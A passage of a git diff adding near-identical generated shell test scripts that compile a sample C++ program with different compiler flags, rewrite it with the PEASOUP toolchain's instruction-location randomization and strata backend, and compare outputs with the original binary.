+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a7bcb72e6c913d7c1d1a11a5237c86c724d4b98c
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles     -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles     -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..fcecfd1eb2c6fc9a908eba7ddee7cfbf249d49cb
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles       -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles       -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..002372aab23cf42de90781e06f218d9b86ea0c3d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles       -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles       -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..1415427ad1490f28539168c5c0ce58206d6cf58f
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles         -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles         -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a340b3358dc57565eaf6ccdc9b8ee06f75bae3c8
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles         -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles         -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..9187bae1fe39a05772080c3104d769a13bfb4c16
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
